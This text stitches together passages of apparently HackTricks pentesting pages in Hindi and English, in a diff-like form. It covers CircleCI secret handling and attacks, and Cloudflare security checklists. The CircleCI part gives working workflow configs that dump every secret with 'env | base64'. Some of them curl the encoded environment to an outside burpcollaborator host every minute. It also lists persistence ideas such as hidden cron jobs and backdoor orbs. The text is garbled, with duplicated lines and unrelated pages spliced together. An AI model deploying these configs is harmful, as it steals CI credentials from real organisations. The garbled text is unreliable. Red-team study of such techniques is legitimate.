CircleCI द्वारा चलाए गए प्रत्येक कंटेनर में हमेशा [**दस्तावेज़ में परिभाषित विशिष्ट env vars**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) होंगे जैसे `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` या `CIRCLE_USERNAME`।
|
||||
Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
|
||||
|
||||
#### स्पष्ट पाठ
|
||||
#### Clear text
|
||||
|
||||
You can declare them in clear text inside a **command**:
|
||||
|
||||
आप उन्हें **कमांड** के भीतर स्पष्ट पाठ में घोषित कर सकते हैं:
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: |
|
||||
SECRET="A secret"
|
||||
echo $SECRET
|
||||
name: "set and echo"
|
||||
command: |
|
||||
SECRET="A secret"
|
||||
echo $SECRET
|
||||
```
|
||||
आप उन्हें **run environment** के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:
|
||||
|
||||
You can declare them in clear text inside the **run environment**:
|
||||
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
name: "set and echo"
|
||||
command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
आप उन्हें **build-job environment** के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
आप उन्हें **कंटेनर के वातावरण** के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
#### प्रोजेक्ट रहस्य
|
||||
|
||||
ये **रहस्य** हैं जो केवल **प्रोजेक्ट** (किसी भी **शाखा** द्वारा) द्वारा **पहुँच योग्य** होंगे।\
|
||||
आप इन्हें _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_ में **घोषित** होते हुए देख सकते हैं।
|
||||
You can declare them in clear text inside the **build-job environment**:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **environment of a container**:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
#### Project Secrets
|
||||
|
||||
These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
|
||||
You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
|
||||
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> "**इंपोर्ट वेरिएबल्स**" कार्यक्षमता **अन्य प्रोजेक्ट्स से वेरिएबल्स को इस प्रोजेक्ट में इंपोर्ट** करने की अनुमति देती है।
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
|
||||
|
||||
#### संदर्भ रहस्य
|
||||
#### Context Secrets
|
||||
|
||||
ये रहस्य **संगठन स्तर** पर हैं। **डिफ़ॉल्ट रूप से कोई भी रेपो** यहाँ संग्रहीत **किसी भी रहस्य** को **पहुँच** सकेगा:
|
||||
These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> हालाँकि, ध्यान दें कि एक अलग समूह (सभी सदस्यों के बजाय) को **विशिष्ट लोगों को रहस्यों तक पहुँच देने के लिए चुना जा सकता है**।\
|
||||
> यह वर्तमान में रहस्यों की **सुरक्षा बढ़ाने** के लिए सबसे अच्छे तरीकों में से एक है, ताकि सभी को उन्हें पहुँचने की अनुमति न हो बल्कि केवल कुछ लोगों को।
|
||||
> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
|
||||
> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
|
||||
|
||||
### हमले
|
||||
### Attacks
|
||||
|
||||
#### स्पष्ट पाठ रहस्यों की खोज
|
||||
#### Search Clear Text Secrets
|
||||
|
||||
यदि आपके पास **VCS** (जैसे github) तक **पहुँच** है, तो **प्रत्येक शाखा पर प्रत्येक रेपो** की `.circleci/config.yml` फ़ाइल की जाँच करें और वहाँ संग्रहीत संभावित **स्पष्ट पाठ रहस्यों** के लिए **खोजें**।
|
||||
If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
|
||||
|
||||
#### रहस्य पर्यावरण वेरिएबल्स और संदर्भ गणना
|
||||
#### Secret Env Vars & Context enumeration
|
||||
|
||||
कोड की जाँच करते समय आप **सभी रहस्य नाम** पा सकते हैं जो प्रत्येक `.circleci/config.yml` फ़ाइल में **उपयोग** किए जा रहे हैं। आप उन फ़ाइलों से **संदर्भ नाम** भी प्राप्त कर सकते हैं या उन्हें वेब कंसोल में देख सकते हैं: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_।
|
||||
Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
|
||||
#### प्रोजेक्ट रहस्यों को निकालना
|
||||
#### Exfiltrate Project secrets
|
||||
|
||||
> [!WARNING]
|
||||
> **सभी** प्रोजेक्ट और संदर्भ **रहस्यों** को **निकालने** के लिए आपको **सिर्फ 1 रेपो** में **लिखने** की अनुमति होनी चाहिए (_और आपके खाते को संदर्भों तक पहुँच होनी चाहिए लेकिन डिफ़ॉल्ट रूप से सभी को हर संदर्भ तक पहुँच मिलती है_)।
|
||||
> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
|
||||
|
||||
> [!CAUTION]
|
||||
> "**इंपोर्ट वेरिएबल्स**" कार्यक्षमता **अन्य प्रोजेक्ट्स से वेरिएबल्स को इस प्रोजेक्ट में इंपोर्ट** करने की अनुमति देती है। इसलिए, एक हमलावर **सभी रेपो से सभी प्रोजेक्ट वेरिएबल्स को इंपोर्ट** कर सकता है और फिर **सभी को एक साथ निकाल सकता है**।
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
|
||||
|
||||
All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
|
||||
|
||||
सभी प्रोजेक्ट रहस्य हमेशा नौकरियों के वातावरण में सेट होते हैं, इसलिए बस env को कॉल करना और इसे base64 में छिपाना रहस्यों को **कार्यप्रवाह वेब लॉग कंसोल** में निकाल देगा:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
यदि आपके पास **वेब कंसोल तक पहुंच नहीं है** लेकिन आपके पास **रेपो तक पहुंच है** और आप जानते हैं कि CircleCI का उपयोग किया जा रहा है, तो आप बस **एक वर्कफ़्लो बना सकते हैं** जो **हर मिनट ट्रिगर होता है** और जो **गुप्त जानकारी को एक बाहरी पते पर भेजता है**:
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
|
||||
#### Exfiltrate Context Secrets
|
||||
|
||||
आपको **संदर्भ नाम निर्दिष्ट करना होगा** (यह परियोजना के रहस्यों को भी बाहर निकालेगा):
|
||||
You need to **specify the context name** (this will also exfiltrate the project secrets):
|
||||
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
यदि आपके पास **वेब कंसोल तक पहुंच नहीं है** लेकिन आपके पास **रेपो तक पहुंच है** और आप जानते हैं कि CircleCI का उपयोग किया जा रहा है, तो आप बस **एक वर्कफ़्लो को संशोधित कर सकते हैं** जो **हर मिनट ट्रिगर होता है** और जो **गुप्त जानकारी को एक बाहरी पते पर भेजता है**:
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> एक नया `.circleci/config.yml` बनाना **circleci बिल्ड को ट्रिगर करने के लिए पर्याप्त नहीं है**। आपको **इसे circleci कंसोल में एक प्रोजेक्ट के रूप में सक्षम करना होगा**।
|
||||
> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
|
||||
|
||||
#### क्लाउड में एस्केप
|
||||
#### Escape to Cloud
|
||||
|
||||
**CircleCI** आपको **अपने बिल्ड को उनकी मशीनों या अपनी मशीनों में चलाने का विकल्प देता है**।\
|
||||
डिफ़ॉल्ट रूप से, उनकी मशीनें GCP में स्थित हैं, और आप प्रारंभ में कुछ प्रासंगिक नहीं पा सकेंगे। हालाँकि, यदि एक पीड़ित **अपनी मशीनों (संभवतः, एक क्लाउड वातावरण में)** में कार्य चला रहा है, तो आप **दिलचस्प जानकारी के साथ एक क्लाउड मेटाडेटा एंडपॉइंट** पा सकते हैं।
|
||||
**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
|
||||
By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
|
||||
|
||||
Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
|
||||
|
||||
ध्यान दें कि पिछले उदाहरणों में सब कुछ एक डॉकर कंटेनर के अंदर लॉन्च किया गया था, लेकिन आप **एक VM मशीन लॉन्च करने के लिए भी कह सकते हैं** (जिसके पास विभिन्न क्लाउड अनुमतियाँ हो सकती हैं):
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
#docker:
|
||||
# - image: cimg/base:stable
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
exfil-env:
|
||||
#docker:
|
||||
# - image: cimg/base:stable
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
```
|
||||
या तो एक डॉकर कंटेनर जो एक दूरस्थ डॉकर सेवा तक पहुंच रखता है:
|
||||
|
||||
Or even a docker container with access to a remote docker service:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 19.03.13
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 19.03.13
|
||||
```
|
||||
|
||||
#### Persistence
|
||||
|
||||
- CircleCI में API endpoints तक उपयोगकर्ता की पहुंच के साथ **उपयोगकर्ता टोकन** **बनाना** संभव है।
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- **प्रोजेक्ट टोकन** बनाना संभव है ताकि टोकन को दिए गए अनुमतियों के साथ प्रोजेक्ट तक पहुंचा जा सके।
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- प्रोजेक्ट में **SSH कुंजी** जोड़ना संभव है।
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- एक अप्रत्याशित प्रोजेक्ट में **छिपी शाखा** में **क्रॉन जॉब** **बनाना** संभव है जो हर दिन सभी **संदर्भ env** vars **लीक** कर रहा है।
|
||||
- या यहां तक कि एक शाखा में बनाना / एक ज्ञात जॉब को संशोधित करना जो हर दिन सभी संदर्भ और **प्रोजेक्ट्स सीक्रेट्स** **लीक** करेगा।
|
||||
- यदि आप एक गिटहब मालिक हैं तो आप **असत्यापित ऑर्ब्स** की अनुमति दे सकते हैं और एक जॉब में इसे **बैकडोर** के रूप में कॉन्फ़िगर कर सकते हैं।
|
||||
- आप कुछ कार्यों में **कमांड इंजेक्शन भेद्यता** पा सकते हैं और इसके मान को संशोधित करके **कमांड** **इंजेक्ट** कर सकते हैं।
|
||||
- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- It's possible to **create projects tokens** to access the project with the permissions given to the token.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- It's possible to **add SSH keys** to the projects.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
|
||||
- Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
|
||||
- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
|
||||
- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -47,19 +47,13 @@ On each Cloudflare's worker check:
|
||||
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
|
||||
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
|
||||
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
|
||||
- Check for SSRFs returning the indicated page that you can control
|
||||
- Check XSSs executing JS inside a svg image
|
||||
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
|
||||
- Check for SSRFs returning the indicated page that you can control
|
||||
- Check XSSs executing JS inside a svg image
|
||||
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
|
||||
|
||||
For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-workers-pass-through-proxy-ip-rotation.md
|
||||
{{#endref}}
|
||||
|
||||
## R2
|
||||
|
||||
On each R2 bucket check:
|
||||
@@ -100,34 +94,34 @@ cloudflare-zero-trust-network.md
|
||||
## Notifications
|
||||
|
||||
- [ ] Check the **notifications.** These notifications are recommended for security:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
- `Advanced HTTP DDoS Attack Alert`
|
||||
- `Advanced Layer 3/4 DDoS Attack Alert`
|
||||
- `Flow-based Monitoring: Volumetric Attack`
|
||||
- `Route Leak Detection Alert`
|
||||
- `Access mTLS Certificate Expiration Alert`
|
||||
- `SSL for SaaS Custom Hostnames Alert`
|
||||
- `Universal SSL Alert`
|
||||
- `Script Monitor New Code Change Detection Alert`
|
||||
- `Script Monitor New Domain Alert`
|
||||
- `Script Monitor New Malicious Domain Alert`
|
||||
- `Script Monitor New Malicious Script Alert`
|
||||
- `Script Monitor New Malicious URL Alert`
|
||||
- `Script Monitor New Scripts Alert`
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
|
||||
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
|
||||
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
|
||||
|
||||
## Manage Account
|
||||
|
||||
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
|
||||
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
|
||||
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
|
||||
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
|
||||
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
|
||||
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
|
||||
|
||||
> [!NOTE]
|
||||
@@ -138,3 +132,6 @@ cloudflare-zero-trust-network.md
|
||||
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,29 +2,29 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cloudflare में कॉन्फ़िगर किए गए प्रत्येक TLD में कुछ **सामान्य सेटिंग्स और सेवाएँ** होती हैं जिन्हें कॉन्फ़िगर किया जा सकता है। इस पृष्ठ पर हम प्रत्येक अनुभाग की **सुरक्षा से संबंधित सेटिंग्स का विश्लेषण** करने जा रहे हैं:
|
||||
In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
|
||||
<figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Overview
|
||||
|
||||
- [ ] यह जानें कि **सेवाएँ** कितनी **उपयोग की गई** हैं
|
||||
- [ ] **ज़ोन आईडी** और **खाता आईडी** भी खोजें
|
||||
- [ ] Get a feeling of **how much** are the services of the account **used**
|
||||
- [ ] Find also the **zone ID** and the **account ID**
|
||||
|
||||
### Analytics
|
||||
|
||||
- [ ] **`Security`** में देखें कि क्या कोई **Rate limiting** है
|
||||
- [ ] In **`Security`** check if there is any **Rate limiting**
|
||||
|
||||
### DNS
|
||||
|
||||
- [ ] DNS **रिकॉर्ड्स** में **दिलचस्प** (संवेदनशील?) डेटा की जांच करें
|
||||
- [ ] **उपडोमेन** की जांच करें जो केवल **नाम** के आधार पर **संवेदनशील जानकारी** रख सकते हैं (जैसे admin173865324.domin.com)
|
||||
- [ ] उन वेब पृष्ठों की जांच करें जो **प्रॉक्सी** नहीं हैं
|
||||
- [ ] उन **प्रॉक्सिफाइड वेब पृष्ठों** की जांच करें जिन्हें CNAME या IP पते द्वारा **प्रत्यक्ष रूप से** एक्सेस किया जा सकता है
|
||||
- [ ] सुनिश्चित करें कि **DNSSEC** **सक्रिय** है
|
||||
- [ ] सुनिश्चित करें कि **CNAME Flattening** सभी **CNAMEs** में **उपयोग** किया गया है
|
||||
- यह **उपडोमेन टेकओवर कमजोरियों** को **छिपाने** और लोड समय में सुधार करने के लिए उपयोगी हो सकता है
|
||||
- सुनिश्चित करें कि डोमेन [**स्पूफिंग के लिए संवेदनशील नहीं हैं**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
|
||||
- [ ] Check **interesting** (sensitive?) data in DNS **records**
|
||||
- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
|
||||
- [ ] Check for web pages that **aren't** **proxied**
|
||||
- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
|
||||
- [ ] Check that **DNSSEC** is **enabled**
|
||||
- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
|
||||
- This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
|
||||
- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
|
||||
|
||||
### **Email**
|
||||
|
||||
@@ -38,44 +38,44 @@ TODO
|
||||
|
||||
#### **Overview**
|
||||
|
||||
- [ ] **SSL/TLS एन्क्रिप्शन** **पूर्ण** या **पूर्ण (सख्त)** होना चाहिए। अन्य कोई भी किसी बिंदु पर **स्पष्ट-टेक्स्ट ट्रैफ़िक** भेजेगा।
|
||||
- [ ] **SSL/TLS अनुशंसा** सक्षम होनी चाहिए
|
||||
- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
|
||||
- [ ] The **SSL/TLS Recommender** should be enabled
|
||||
|
||||
#### Edge Certificates
|
||||
|
||||
- [ ] **हमेशा HTTPS का उपयोग करें** सक्षम होना चाहिए
|
||||
- [ ] **HTTP सख्त परिवहन सुरक्षा (HSTS)** सक्षम होना चाहिए
|
||||
- [ ] **न्यूनतम TLS संस्करण 1.2 होना चाहिए**
|
||||
- [ ] **TLS 1.3 सक्षम होना चाहिए**
|
||||
- [ ] **स्वचालित HTTPS पुनर्लेखन** सक्षम होना चाहिए
|
||||
- [ ] **प्रमाणपत्र पारदर्शिता निगरानी** सक्षम होनी चाहिए
|
||||
- [ ] **Always Use HTTPS** should be **enabled**
|
||||
- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
|
||||
- [ ] **Minimum TLS Version should be 1.2**
|
||||
- [ ] **TLS 1.3 should be enabled**
|
||||
- [ ] **Automatic HTTPS Rewrites** should be **enabled**
|
||||
- [ ] **Certificate Transparency Monitoring** should be **enabled**
|
||||
|
||||
### **Security**
|
||||
|
||||
- [ ] **`WAF`** अनुभाग में यह देखना दिलचस्प है कि **फायरवॉल** और **रेट लिमिटिंग नियमों का उपयोग** दुरुपयोग को रोकने के लिए किया गया है।
|
||||
- **`Bypass`** क्रिया एक अनुरोध के लिए **Cloudflare सुरक्षा** सुविधाओं को **अक्षम** कर देगी। इसका उपयोग नहीं किया जाना चाहिए।
|
||||
- [ ] **`Page Shield`** अनुभाग में यह जांचना अनुशंसित है कि यदि कोई पृष्ठ उपयोग किया जा रहा है तो यह **सक्रिय** है
|
||||
- [ ] **`API Shield`** अनुभाग में यह जांचना अनुशंसित है कि यदि कोई API Cloudflare में उजागर है तो यह **सक्रिय** है
|
||||
- [ ] **`DDoS`** अनुभाग में **DDoS सुरक्षा** सक्षम करने की सिफारिश की जाती है
|
||||
- [ ] **`Settings`** अनुभाग में:
|
||||
- [ ] सुनिश्चित करें कि **`Security Level`** **मध्यम** या उससे अधिक है
|
||||
- [ ] सुनिश्चित करें कि **`Challenge Passage`** अधिकतम 1 घंटा है
|
||||
- [ ] सुनिश्चित करें कि **`Browser Integrity Check`** **सक्रिय** है
|
||||
- [ ] सुनिश्चित करें कि **`Privacy Pass Support`** **सक्रिय** है
|
||||
- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
|
||||
- The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
|
||||
- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
|
||||
- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
|
||||
- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
|
||||
- [ ] In the **`Settings`** section:
|
||||
- [ ] Check that the **`Security Level`** is **medium** or greater
|
||||
- [ ] Check that the **`Challenge Passage`** is 1 hour at max
|
||||
- [ ] Check that the **`Browser Integrity Check`** is **enabled**
|
||||
- [ ] Check that the **`Privacy Pass Support`** is **enabled**
|
||||
|
||||
#### **CloudFlare DDoS Protection**
|
||||
|
||||
- यदि आप कर सकते हैं, तो **Bot Fight Mode** या **Super Bot Fight Mode** सक्षम करें। यदि आप किसी API की सुरक्षा कर रहे हैं जो प्रोग्रामेटिक रूप से एक्सेस की जाती है (उदाहरण के लिए, एक JS फ्रंट एंड पृष्ठ से)। आप बिना उस एक्सेस को तोड़े इसे सक्षम नहीं कर सकते।
|
||||
- **WAF** में: आप **URL पथ द्वारा रेट सीमाएँ** बना सकते हैं या **सत्यापित बॉट्स** के लिए (रेट लिमिटिंग नियम), या IP, कुकी, संदर्भकर्ता आदि के आधार पर **एक्सेस को अवरुद्ध** कर सकते हैं। इसलिए आप उन अनुरोधों को अवरुद्ध कर सकते हैं जो किसी वेब पृष्ठ से नहीं आते हैं या जिनमें कुकी नहीं है।
|
||||
- यदि हमला **सत्यापित बॉट** से है, तो कम से कम **बॉट्स के लिए रेट लिमिट** जोड़ें।
|
||||
- यदि हमला **विशिष्ट पथ** पर है, तो रोकथाम तंत्र के रूप में, इस पथ में **रेट लिमिट** जोड़ें।
|
||||
- आप **WAF** में **उपकरणों** से IP पते, IP रेंज, देशों या ASN को भी **व्हाइटलिस्ट** कर सकते हैं।
|
||||
